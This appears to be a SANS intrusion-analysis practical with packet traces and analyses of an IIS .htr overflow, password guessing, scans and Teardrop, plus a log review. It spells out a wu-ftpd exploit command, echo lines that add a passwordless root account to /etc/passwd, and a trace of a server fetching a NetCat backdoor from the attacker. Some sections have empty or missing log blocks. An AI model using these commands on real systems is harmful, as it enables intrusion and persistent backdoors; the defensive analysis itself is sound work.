1. Source of trace

a. My network

2. Detect was generated by:

07/31-11:12:31.890133[**Date & Time**] Source.address:1024[**Source Address**][**Port Number**] -> Websrv.mynetwork:80[**Dest. Address**][**Port Number**]TCP [**Protocol**] TTL:64 [**Time to Live**] TOS:0x0 [**Type of Service**]ID:42[**ID**] DF[**Don't Fragment Flag**]
S*** Seq: 0x7D3648F9[**Sequence Number**] Ack: 0x0[**Acknowledge Number**] Win: 0x3EBC[**Window Size**] TCP Options => MSS: 1460[**Maximum Segment Size**] SackOK TS: 115773 0 NOP WS: 0

a. Snort IDS
b. IIS Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet, Websrv.mynetwork responds with SYN ACK, stating that it is listening on port 80 (www). The source.address responds by sending back an ACK stating that it acknowledges that the Websrv.mynetwork is listening on port 80 (www). Therefor since the communication is going in both directions, the source address is not spoofed.

```
07/31-11:12:31.890133 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:42  DF

02 04 05 B4 04 02
```

4. Description of attack.

a. A buffer overflow vulnerability in the way IIS handles requests within .HTM extensions allows remote attackers to execute arbitrary code on the target machine.
b. IIS supports a number of file extensions that require further processing (i.e. .ASP, .IDC, .HTR). When a request is made for one of this file types a specific DLL processes it. A stack buffer overflow vulnerability exists in ISM.DLL while handling .HTR, .STM or .IDC extensions. The ISM.DLL filter is installed by default with IIS.

Example:

```
21 21 21 21 2E 68 74 72 20 48 54 54 50 2F 31 2E  !!!!.htr HTTP/1.
30 0D 0A 0D 0A                                   0....
```

c. the Websrv will then initiate a communication to the source.address and request to GET nc.exe (NetCat, which allows commands to be executed on remote machines)

```
07/31-11:12:36.639130 10.1.41.40:1151 -> 10.1.41.65:80
TCP TTL:128 TOS:0x10 ID:51732  DF
*****PA* Seq: 0x105F8   Ack: 0x7D81ACD8   Win: 0x2238
47 45 54 20 2F 6E 63 78 39 39 2E 65 78 65 0D 0A  GET /ncx99.exe..
0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

5. Attack Mechanism.

a. The attacker will initiate a communication with the Websrv.mynetwork using a exploit known as tesoiis.c. When this request is made for the .htr file type a specific DLL processes it. A stack buffer overflow vulnerability exists in ISM.DLL while handling .HTR extensions. The ISM.DLL filter is installed by default with IIS. The bufferoverflow then instructs the Websrv.mynetwork to contact the source.address to download and start the ncx99.exe (Custom built NetCat executable file). See below:

```
07/31-11:12:36.639130 Websrv.mynetwork:1151 -> source.address:80
TCP TTL:128 TOS:0x10 ID:51732  DF
*****PA* Seq: 0x105F8   Ack: 0x7D81ACD8   Win: 0x2238
47 45 54 20 2F 6E 63 78 39 39 2E 65 78 65 0D 0A  GET /ncx99.exe..
```

```
0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

b. Once the Websrv.mynetwork has started the ncx99.exe, the netcat will now listen for communications on port 99.

c. The attacker can then telnet to port 99 and execute commands as the with the privileges of the user the Websrv.mynetwork runs as.

```
07/31-11:12:38.404147 source.address:1025 -> Websrv.mynetwork:99
TCP TTL:64 TOS:0x10 ID:91  DF
**S***** Seq: 0x7DCE9B28   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 116425 0 NOP WS: 0
```

6. Correlation:

a. This attack was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis).
b. TCPDUMP listed above also shows more correlation of the IIS attack.

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (5+ 4) – (2+2) = 5

9. Defensive Countermeasures

a. Install Service Pack 6 on Windows NT
b. Disable the script mapping for .HTR files as a workaround

10. Multiple choice question:

What is a signature of the IIS attack?

A. Overlapping packets
B. .htr HTTP/1.0 in packets
C. DNS queries
D. Zone Transfers

Answer B

Detect #2 (Top Ten – Guessed passwords) – (Back)

```

[root@elmer joe][**DATA**]

a. Snort IDS
b. Telnet port 23 Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet with a sequence number of 2236324904, Linux.mynetwork responds with SYN ACK, stating that it is listening on port 23 telnet, and increments the sequence number by 1 (2236324905). The Source.address responds by sending back an ACK stating that it acknowledges that the Linux.mynetwork is listening on port 23 telnet, and adds 1 to the Linux.mynetwork acknowledgement # . Therefore since the communication is going in both directions, and the sequence numbers are corresponding, the source address is not spoofed.

```

```

4. Description of attack.

a. The attack is one of the top ten SANS attacks. The attack is due to poorly administered passwords that have not been checked and have been left with the default passwords set up by the Administrator.
b. The attacker can easily guess a user password and then once logged in as a user try to Switch User to root and gain root privileges.

5. Attack Mechanism:

a. The attacker will initiate a connection from the Source.address on a port above 1023 to the Linux.mynetwork on port 23 (telnet session), using a TCP 3-way-handshake.
b. Once the 3-way-handshake has been completed, the attacker will be presented with a login prompt for username and password. At this point the attacker will try to guess the login name and password, seen in the Snort log above; Login: **Joe** Password: **Password**.
c. In the above log, the attacker successfully guessed a username and password. The attacker was then logged onto the Linux.mynetwork system as user **Joe**.

d. The next step seen in the log, the user Joe made multiple attempts to Switch User to root to gain privileges that the user Joe does not have, superuser privileges.
e. The user Joe (the Attacker) was able to successfully guess the root password as **abc123**, and he was then granted superuser privileges.
f. The attacker now owns the Linux.mynetwork system and can now add accounts or create backdoors for future logins or exploits. The attacker can also use this system as launch points to attack other systems in the future and cause havoc to the system administrator, by changing the root password so that the system administrator can not log in.

6. Correlation:

a. This attack was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis).
b. TCPDUMP listed below also shows more correlation of the password attack. This TCPDUMP corresponds with the Snort log when the attacker logged in as Joe and with the correctly guessed password.

```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (4+5) – (2+2) = 5

9. Defensive Countermeasures

a. Develop policies on passwords, must be alphanumeric with a length of eight characters or more.
b. Block all incoming single syn packets at the firewall, if you do not want people initiating tcp communications to this specific system

10. Multiple choice question:

What is the second step in a 3-way-handshake?

A. SYN
B. FIN
C. SYN ACK
D. ACK

Answer C

Detect #3 – (Back)

a. Snort Intrusion Detection System
b. Incoming single SYN Alert

3. Probability source address was spoofed.

a. Low, IP address belongs to Concentric.Net and appears to be an SYN scan, which Source address will initiate 3-way handshake and use response from Ntbox.mynetwork to see what services are running.

4. Description of attack.

a. Attacker is using a network scanning tool to find out what services Ntbox.mynetwork (Computer System) is currently offering / listening.
b. This tool is used as a form of reconnaissance and is usually an initial step in an attack sequence.
c. The initial sequence numbers of the packets are the same and this indicates that the header was forged. Normal initial sequence numbers should be unique for each new TCP Header.

5. Attack Mechanism.

a. Attacker will send out SYN packets to a host inside the network, initiating a TCP three-way-handshake on a destination port number (ex: 139) on the host computer (Ntbox.mynetwork).

```
07/31-13:40:26.648386 Source.address:38989 -> Ntbox.mynetwork:139
TCP TTL:40 TOS:0x0 ID:18129
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
```

b. The host (Ntbox.mynetwork) will respond by either sending a RST ACK response stating that the host does not offer the service running on port 139;

```
07/31-13:40:26.648395 Ntbox.mynetwork:139 -> Source.address:38989
TCP TTL:128 TOS:0x0 ID:5201
****R*A* Seq: 0x0   Ack: 0x4F6B7217   Win: 0x0
00 00 00 00 00 00                    ......
```

or if the host does offer the service, it responds back with a SYN ACK:

```
07/31-13:40:26.649429 Ntbox.mynetwork:139 -> Source.address:38989
TCP TTL:128 TOS:0x0 ID:30801  DF
**S***A* Seq: 0x1EBA4   Ack: 0xE2CD789E   Win: 0x2180
TCP Options => MSS: 1460
```

c. if the destination address (Ntbox.mynetwork) responds with a SYN ACK, the Source.address (attacker) will respond back with a RST, terminating the communication, and not completing the 3-way-handshake.

```
07/31-13:40:26.649821 Source.address:38989 -> Ntbox.mynetwork:139
TCP TTL:255 TOS:0x0 ID:1320
****R*** Seq: 0xE2CD789E   Ack: 0x0   Win: 0x0
02 35 30 02 34 31
```

6. Correlation:

a. Judy Novack described this reconnaissance attack on day three of the SANS DC conference (Shadow Style pg 243), also by Stephen Northcut on day four (Network Intrusion Analysis).
b. WINDUMP listed below also shows more correlation of the NMAP scan:

```
13:40:25.958829 Source.address.38989 > Ntbox.mynetwork.715: S
3805116573:3805116573(0) win 1024
13:40:26.284341 Ntbox.mynetwork:715 > Source.address.38989: R 0:0(0)
ack 3805116574 win 0
```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 2) – (3 +3) = -2

9. Defensive Countermeasures

a. Place new rule in IDS (Snort) to look and detect Syn packets, and at the firewall deny all incoming SYN packets.

10. Multiple choice question:

This log was generated by which IDS:

A. Shadow
B. Snort
C. Real Secure
D. Net Ranger

Answer B

Detect #4 – (Back)

(frag 242:36@0+)
09:45:12.248558 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

1. Source of trace

a. My network

2. Detect was generated by:

a. Snort IDS / TCPDUMP
b. Teardrop Alert

3. Probability source address was source.

a. High, IP address was not an active IP address, also the offset of the fragmented packets overlap indicating a Teardrop attack which uses a spoofed source address. Fragment ID's also are a constant which denotes a crafted packet.

4. Description of attack.

a. Attacker is using a Denial of Service Attack, which is believed to be a Teardrop attack. The Teardrop attack exploits a weakness in the reassembly process of fragments. The Teardrop program creates fragments with overlapping offset fields

Example:

```
09:45:12.171201 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.171246 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

The fragment reassembly is handled by the destination host, and during This reassembly, the destination host may crash, hang or even reboot.

5. Attack Mechanism.

a. The attacker will craft udp packets with overlapping offsets and send them to the destination host. In the TCPDUMP capture below, you will see in the first packet, which has the fragment ID of 242 has a length of 36 bytes of data and an offset of 0 bytes. The first fragment also has the + sign which denotes that there is more than one fragment. The second packet is linked to the first packet because of the fragment ID 242, it has a length of 4 bytes and an offset of 24 bytes into the data portion. The second packet

does not contain the + sign denoting that it is the last packet and no packets will follow. Since the first packet has a length of 36 bytes and the offset of the second packet is only 24 bytes, bytes 24 through bytes 27 will be overlapped. When the destination computer attempts to reassemble this fragmented packet, it will see the packet as a negative number and will cause the computer system to crash, or hang.

```
09:45:12.171201 eth0 < source.address.56169 > linux.mynetwork.3223: udp 28
(frag 242:36@0+)
09:45:12.171246 eth0 < source.address > linux.mynetwork: (frag 242:4@24)
```

6. Correlation:

a. Steven Northcut described this reconnaissance attack on day four of the SANS DC conference (Intrusion Detection Analysis).
b. TCPDUMP listed above also shows more correlation of the Teardrop attack.

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 2) – (4+3) = -3

9. Defensive Countermeasures

a. Place new rule in IDS (Snort) to look and log udp packets with overlapping offsets

10. Multiple choice question:

Which item is not a signature of a teardrop attack:

A. overlapping offsets
B. Unique fragment ID's
C. Same Fragments ID's
D. Source IP address

Answer B

Detect #5 – (Back)

b. Port 111 Portmapper Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet, Linux.mynetwork responds with SYN ACK, stating that it is listening on port 111 sunrpc (portmapper). The source.address responds by sending back an ACK stating that it acknowledges that the Linux.mynetwork is listening on port 111 sunrpc (portmapper). Therefore since the communication is going in both directions, the source address is not spoofed.

```
13:25:43.159799 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: S
92894190:92894190(0) win 32120 <mss 1460,sackOK,timestamp 16533696
0,nop,wscale 0> (DF)

13:25:43.160107 eth0 > Linux.mynetwork.sunrpc > Source.address.953: S
2732578913:2732578913(0) ack 92894191 win 32120 <mss 1460,sackOK,timestamp
140580314 16533696,nop,wscale 0> (DF)

13:25:43.160706 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: . 1:1(0)
ack 1 win 32120 <nop,nop,timestamp 16533696 140580314> (DF)
```

4. Description of attack.

a. Attack appears to be a host scanning tool directed at an individual host, to find what rpc services are running on that host; ex: port 111.
b. The attacker (Source.address) will initiate a 3-way-handshake and if the target host (Linux.mynetwork) responds with a SYN ACK, the attacker will identify that the portmapper service is running on port 111.

c. The attacker can then use the information that he/she receives and run a more specific attack. Attacker goes after portmapper because it points to other rpc services running on the target machine.

5. Attack Mechanism.

a. The attacker will initiate a communication (TCP 3-way-handshake) with the Linux.mynetwork on port 111 (sunrpc). The target system (Linux.mynetwork) then responds with a SYN ACK, stating that it has a portmapper service listening on port 111. The attacker will then send back an ACK and complete the 3-way-hanshake.
b. The attacker will then push data to the target system to identify what rpc portmapper version is running on port 111.
c. With this information, the attacker can next target the system with a more specific attack for the version of portmapper. This attack is a form a reconnaissance.

6. Correlation:

a. This attack / reconnaissance was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis pg 256).
b. TCPDUMP listed below also shows more correlation of the rpc reconnaissance attack.

```
13:25:43.159799 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: S
92894190:92894190(0) win 32120 <mss 1460,sackOK,timestamp 16533696
0,nop,wscale 0> (DF)
13:25:43.160107 eth0 > Linux.mynetwork.sunrpc > Source.address.953: S
2732578913:2732578913(0) ack 92894191 win 32120 <mss 1460,sackOK,timestamp
140580314 16533696,nop,wscale 0> (DF)
13:25:43.160706 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: . 1:1(0)

13:25:43.182809 eth0 > Linux.mynetwork.sunrpc > Source.address.953: F
193:193(0) ack 46 win 32120 <nop,nop,timestamp 140580316 16533698> (DF)
13:25:43.183278 eth0 < Source.address.953 > Linux.mynetwork.sunrpc: .
46:46(0) ack 194 win 32120 <nop,nop,timestamp 16533698 140580316> (DF)
```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (2+ 3) – (2+2) = 1

9. Defensive Countermeasures

a. Set rule in Snort IDS to detect scans with dest. Port of 111.
b. Block all incoming single syn packets at the firewall, if you do not want people initiating tcp communications with his specific system

10. Multiple choice question:

Which service on port 111?

A. Portmapper
B. DNS
C. Telnet
D. FTP

Answer A

Assignment 2 –Evaluate and attack – (Back)

1. URL for Attack

a. www.securityfocus.com (wuftp-god.c) linux based attack on FTP

2. Command Run (on Linux.mynetwork machine)

a. #./wuftp-god –t linux.mynetwork –s 0 (Site Exec Exploit)

3. Description of attack

Exploit was downloaded from packetstorm.securify.com and was compiled on the source.network machine running Linux 6.2. The exploit was wuftp.c and is a ftp

Site Exec vulnerability with wu-ftp for linux 6.2, that allows the attacker to run remote commands on the victim machine.

Washington University ftp daemon (**wu-ftpd**) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the **SITE EXEC** implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.

The exploit was run with the command #./wuftp-god –t linux.mynetwork –s 0 (Site Exec Exploit). The Source.address will use the site exec vulnerability to run remote commands on port 21 (ftp) of the victim's machine. The attacker will then be prompted with a list of system commands that can be remotely run on the victim (Linux.mynetwork machine) ex: echo. In this attack, the attacker used the echo command to append to new accounts to the /etc/passwd file, to ensure he/she would be able to log back into the victim's machine at a future time. Ex:

echo "chuckd::10:100:Chuck D.:/tmp:/bin/bash >> /etc/passwd

The first account created is a regular user account. This was done to ensure that in case the remote system did not allow root to log in from other than the console. The attacker can then log in as a valid user with password (Chuck D. is the user name as seen below in snort log) and su to the second account he created as toot that has an user ID of 0 (root) and a group ID of 0 (root). See below:

echo "toor::0:0:Owned:/root:/bin/bash" >> /etc/passwd

These two command will be appended to the victim's (Linux.mynetwork) machine's /etc/passwd file. The attacker will now be able to log in that computer system and gain root privileges any time he/she desires. You can also see in the below traffic analysis, that the user logged in as Chuck D. and then switched user to the new account he created with root privileges as toor. He/She then checked to make sure that the account was root by using the ID command. See below:

#id
uid=0(root) gid=0(root) groups=0 (root)..

The attacker now owns this box!!!

```

Assignment #3 – Analyze This Scenario – (Back)

Introduction:

After reviewing the snort logs provided by SANS Institute analysis has revealed the following information. The Time frame of the Snort (Intrusion Detection System) logs, were between May 16 through June 23, 2000, specific items of interest need to be addressed.

- Internet addresses are actively scanning MY.NET for a wide variety of Trojan programs. The targeted systems should be more closely examined to ensure no such programs exists as they may allow an outsider full access to computer files.
- There is an extreme amount of traffic coming from Internet address hosts that are actively scanning MY.NET for any possible connection points that can possibly be exploited (system weaknesses).
- Internet hosts are actively scanning MY.NET for a wide variety of Trojan Horse programs. The targeted systems should be more closely examined to ensure no such programs exists as they may allow an outsider full access to computer files.
- Of particular note is that MY.NET is generating a considerable amount of suspicious traffic in that MY.NET is actively scanning other MY.NET networks as well as outside hosts. A "curious" employee or a system that has been compromised by an intruder could cause the cause of this sort of behavior.
- A considerable amount of NetBios (port 137) traffic is being generated that could be caused by a misconfigured SMB server and/or outsiders scanning MY.NET for misconfigured servers.
- Specific IP Addresses that have been placed on a "watchlist" are attempting to or actually connecting to MY.NET. IP addresses on a watch list indicates that the specific IP has been known as a possible hostile address.

Specific Types of Activity:

NULL Scans – MY.NET has been probed by a type of TCP packet in which no flag bits are set. This type of scan is utilized to map out a network topology. This is considered to be a reconnaissance of MY.NET, which is usually the prelude to a more directed attack. MY.NET received NULL scans sporadically between May 24 and June 23, 2000. This is a sampling of the network traffic.

```
May 24 16:43:58 194.70.126.10:1406 -> MY.NET.253.42:27501 NULL ********
May 25 04:59:41 212.33.69.5:2125 -> MY.NET.218.82:6346 NULL ********
Jun  7 00:59:24 24.113.136.221:0 -> MY.NET.218.6:1723 NULL ********
Jun 23 06:12:55 209.86.129.223:6699 -> MY.NET.217.202:3308 NULL ********

05/26-00:38:40.163564  [**] Null scan! [**] 194.70.126.10:27990 ->
MY.NET.253.43:1027
05/28-00:24:01.607900  [**] Null scan! [**] 216.204.66.115:46526 ->
MY.NET.20.10:23
```

```
05/31-00:05:37.272299  [**] Null scan! [**] 24.141.180.82:2506 ->
MY.NET.98.124:6699
```

As is evidenced by this sampling of NULL scans, a multitude of IP addresses are found. The 194.70.126.10 address is registered to NET TEK from London, England. The 212.33.69.5 address originates from Poland. The 24.113.136.221 address is from a cable modem user here in the US and the 209.86.129.223 address is from Mindspring, also in the US. The 216.204.66.115 IP address is registered to LockDown 2000 from Dover, NH. IP address 24.141.180.82 belongs to Cogeco Cable Solutions from Burlington, CA, Cable users.

WinGate Connects/Attempts – A Wingate or Socks proxy server commonly operate on ports 8080 and 1080. A person can utilize a Wingate proxy in order to surf anonymously on the web. There are also vulnerabilities with certain versions of Wingate that allows intruders access to the Wingate server hard drive. There were a large number of scans to MY.NET apparently in search of Wingate servers. It is unclear from the logs to ascertain if any have been compromised. The Wingate access attempts occurred continuously between May 16 and June 23, 2000. There were a large number of various IP addresses searching MY.NET.

```
05/16-08:42:04.299446  [**] WinGate 8080 Attempt [**] 209.122.220.162:1311 ->
MY.NET.253.105:8080

MY.NET.253.105:8080
05/16-09:24:07.527635  [**] WinGate 8080 Attempt [**] 216.226.194.6:11386 ->
MY.NET.97.108:8080
05/25-04:14:53.338665  [**] WinGate 8080 Attempt [**] 202.188.86.239:4465 ->
MY.NET.200.56:8080
05/31-10:33:27.825773  [**] WinGate 1080 Attempt [**] 216.179.0.37:2749 ->
MY.NET.60.11:1080
06/01-01:59:13.012322  [**] WinGate 8080 Attempt [**] 202.38.128.188:4953 ->
MY.NET.1.0:8080
06/01-02:38:26.753044  [**] WinGate 8080 Attempt [**] 202.38.128.188:2399 ->
MY.NET.254.251:8080
06/23-08:57:43.043785  [**] WinGate 8080 Attempt [**] 206.26.139.151:1704 ->
MY.NET.253.105:8080
```

The IP 216.226.194.6 is from Manilla and 202.188.86.239 is from Malaysia. There are just entirely too many differing IP addresses to list in this summary report. Note that on June 01, IP 202.38.128.188 scanned the entire MY.NET network in search for Wingate servers. This IP address originates from Beijing, China. Also be aware that the total Wingate connects/attempts during this time frame totaled 58,429.

Watchlist – The Watchlist contains certain IP addresses that may be of questionable character (based on past experience of other Intrusion Detection personnel experiences). There were a large number of alerts (22,300) on Watchlist IP addresses during the time from May 16 through June 23. All of the Watchlist IP addresses were from either Israel or China. The assortment of scans from China and Israel were extremely extensive, probing most all well-known ports. There is a possibility that a connection was established with both the China and Israel host throughout the monitored period. As can

be seen in the sampling traffic below, various hosts on MY.NET have been targeted. A more thorough examination of the targeted hosts is required for verification. A sampling of the traffic follows.

```
05/16-00:00:28.848666  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:8080 -> MY.NET.221.198:1216
05/16-07:05:39.629831  [**] Watchlist 000222 NET-NCFC [**] 159.226.92.9:3026
-> MY.NET.145.9:25
06/23-00:15:58.080152  [**] Watchlist 000222 NET-NCFC [**] 159.226.45.3:4432
-> MY.NET.253.41:25

05/24-01:57:25.752327  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:26.925579  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
05/24-01:57:27.698640  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.44.36:1213 -> MY.NET.217.86:6346
```

The IP address originations are:
212.179.x.x is from Israel and as you can see the target IP address MY.NET.217.86 on port 6346. Port 6346 is used for gnutella, which is for music downloads.
159.226.x.x is from The Computer Network Center Chinese Academy of Sciences, Beijing, China

Attempted Sun RPC high port access – Stressing the importance of this traffic, this is a quote from the SANS (System Administration, Networking, and Security) web site, "Remote procedure calls (RPC) allow programs on one computer to execute programs on a second computer. They are widely-used to access network services such as shared files in NFS. Multiple vulnerabilities caused by flaws in RPC, are being actively exploited. There is compelling evidence that the vast majority of the distributed denial of service attacks launched during 1999 and early 2000 were executed by systems that had been victimized because they had the RPC vulnerabilities. The broadly successful attack on U.S. military systems during the Solar Sunrise incident also exploited an RPC flaw found on hundreds of Department of Defense systems

```
05/24-06:56:35.441654  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771

205.188.153.113:4000 -> MY.NET.97.209:32771
05/24-07:07:16.532480  [**] Attempted Sun RPC high port access [**]
205.188.153.113:4000 -> MY.NET.97.209:32771
```

The IP address 205.188.153.113 belongs to America Online Internet Service Providers. This IP address was seen throughout the log attempting High port access to MY.NET. AOL runs ICQ usually on port 4000 or higher, therefore this data may actually be a false positive and may be an employee chatting on ICQ servers.

Sun RPC high port access – this alert would be of concern. The listed IP address below (128.8.10.141) running on the Telnet service was able to connect to a high port and depending on what services may have been listening, may have been able to compromise the MY.NET computer system with known vulnerabilities. On Solaris 2.x operating systems, rpcbind listens not only on TCP port 111, and UDP port 111, but also on a port greater than 32770. This results in a large number of packet filters, which intend to block access to rpcbind/portmapper, being ineffective. Instead of sending requests to TCP or UDP port 111, the attacker simply sends them to a UDP port greater than 32770 on which rpcbind is listening. The IP address 128.8.10.141 belongs to University of Maryland in College Park.

```
05/24-14:18:05.355092  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:07.594562  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:08.740187  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:10.929925  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
05/24-14:18:17.322477  [**] SUNRPC highport access! [**] 128.8.10.141:23 ->
MY.NET.2.203:32771
```

External Procedure Call – as described before there are vulnerabilities involved with the RPC services for Unix operating Systems. On Solaris 2.x operating systems, rpcbind listens on TCP port 111, and UDP port 111. Rpcbind permits a remote attacker to insert and delete entries without super user status by spoofing a source address. Ironically, it inserts the entries as being owned by super user. If the IP address listed below 216.148.73.6 (Minolta Systems Lab, San Jose California) was able to connect to port 111 they might be able to compromise the computer system.

```
05/28-13:08:24.127009  [**] External RPC call [**] 216.148.73.6:2666 ->
MY.NET.100.130:111
05/28-13:08:24.127009  [**] External RPC call [**] 216.148.73.6:2666 ->
MY.NET.100.130:111
```

VA-CIRT 000218 – CIRT advisory on port 34555 & 35555. Port 34555 & 35555 has been used to place the windows version of the Trinoo exploit. Trinoo's is capable of broadcasting many UDP packets to a designated or targeted computer. The targeted computer tries to process and respond to these invalid UDP packets with "ICMP port unreachable" messages for each UDP packet. Because it has to respond to so many of them, it eventually runs out of network bandwidth, which results in a denial of service. Therefore the system could be susceptible to a Denial of Service. The IP address

128.32.66.85 belongs to University of California, Berkley California. The IP address 204.152.191.76 belongs to M.I.B.H., Woodside California. The IP address 203.103.148.129 belongs to Ansett Australia. The IP Address 169.232.10.57 belongs to University of California, Los Angeles.

Happy Virus – The Happy99 Virus is a Virus that is attached to email and if the recipient opens the email the Happy99 virus infects the computer system. Then if the recipient sends additional email to other, the virus spreads. There are a number of infected computers sending unsuspecting people an email attachment, which bears the name Happy99.exe or Trojan.exe. If the hapless recipient opens the .exe file they will see a brief fireworks display heralding the infection of their computer by what Symantec calls a worm/virus. And this is bad news. Bad for the owner of the computer and bad for those he emails for they will be sent the virus file without knowledge of the sender. This results in more infections. One of the several things this insidious worm is doing is using the WSOCK32.DLL to spread the infection. One must go to Windows, System, and delete SKA.EXE, and SKA.DLL and replace WSOCK32.DLL with SOCK32.SKA. Further instructions may be had via the manufacturer of your virus program. You can see below that the snort log picked up on the computer virus and alerted on it, but the connection was made to MY.NET on port 25 (SMTP – Simple Mail Transport Protocol) from the IP address 207.172.145.30 (Erols Internet Services). If the virus was sent and the recipient opened the email, the system is now infected with the virus.

NMAP TCP – ping / Null Scans (Fingerprinting) – NMAP is a network scanning tool that allows the attacker / curious employee to craft TCP packets to bypass firewalls and make the scanning stealthy. By crafting TCP packets the attacker / curious employee machine initiates a TCP communication using Flags set that are unusual. SYN – FIN flags set together or when all the flag bits are set (SYN FIN PSH ACK URG RST

Reserves 1 and Reserved 2). NAMP also allows the attacker to bypass firewalls by not setting any flags at all called a **NULL SCAN**. This allows packets to bypass the firewall looking for certain TCP flags set. The scanning tool (NMAP) checks to see if the host or service is currently running on the target machine. Below IP address 216.204.66.115 (LockDown 2000, Dover) tests to see if the telnet service (port 23) on MY.NET is currently running. Multiple NMAP scans were runs against MY.NET in the course of 5/16 – 6/22, 2000. This is a form of reconnaissance for vulnerabilities on the target machine and usually followed by attacks for vulnerabilities found.

NMAP TCP SCAN

```
05/28-00:24:01.616425  [**] NMAP TCP ping! [**] 216.204.66.115:46528 ->
MY.NET.20.10:23
05/28-00:24:01.616581  [**] NMAP TCP ping! [**] 216.204.66.115:46530 ->
MY.NET.20.10:38815
Jun  4 02:35:18 24.26.122.24:255 -> MY.NET.97.71:6699 NMAPID 2*SF*P*U
RESERVEDBITS
Jun 23 05:41:42 147.32.90.170:1413 -> MY.NET.70.241:6688 NMAPID *1SF*P*U
RESERVEDBITS
```

Curiously, the IP Address 147.32.141.190 and 147.32.90.170 originates from the Czech Republic. The 216.204.66.115 address is from Lockdown Corporation from New Hampshire. The 24.26.122.24 address is from The Excalibur Group in Virginia (cable modem user).

Tiny Fragments – a normal TCP header is 20 bytes in length. Tiny Fragments takes advantage of this and fragments the header to be less than 20 bytes for example:

```
06:25:55:315 [|tcp] (frag 38783:16@0+)
06:25:55:315 scanner.org > target .com (frag 38783:4@16)
```

This example shows the first fragment of 16 bytes and the second fragment of 4 bytes. This activity is unusual and is not a common practice. Usually tcp packets will be 20 bytes or greater.

Tiny Fragments are used to map networks or hosts for listening services. Tiny Fragments are used to bypass firewalls or intrusion detection systems. This is a form of reconnaissance. Listed below is a tiny fragment scan of the host MY.NET.219.58 by IP address 206.193.209.254, which belongs to INACOM in Omaha.

```
05/23-15:24:32.519971  [**] Tiny Fragments - Possible Hostile Activity
[**] 206.193.209.254 -> MY.NET.219.58
05/23-15:24:33.012982  [**] Tiny Fragments - Possible Hostile Activity
[**] 206.193.209.254 -> MY.NET.219.58
```

SMB Name Wildcard – This SMB Wildcard is a Netbios Name query and this probe is a prelude to an SMB connection, and with my suspicion being that the source of this would be someone scanning my subnet with Rhino9's Legion Samba scanner. Packets sent to UDP port 137 from port 137 are extremely common and rarely indicate an attack. Within a windows network there is a definite pattern to these connections, especially as some are accompanied by other probes. We can account for different source ports of Netbios Name queries? (some 137, some not), Scan my machine with Legion, nbtstat with NT, nbtstat with 98, nmblookup with Linux. As you can see the SMB Netbios Name Query

comes from inside MY.NET and could by either a compromised system or an employee with bad intentions. In either case this would require further investigation.

```
05/23-15:28:10.152266  [**] SMB Name Wildcard [**] MY.NET.101.160:137 ->

MY.NET.101.192:137
05/23-15:21:46.686921  [**] SMB Name Wildcard [**] MY.NET.101.160:137 ->
MY.NET.101.192:137
```

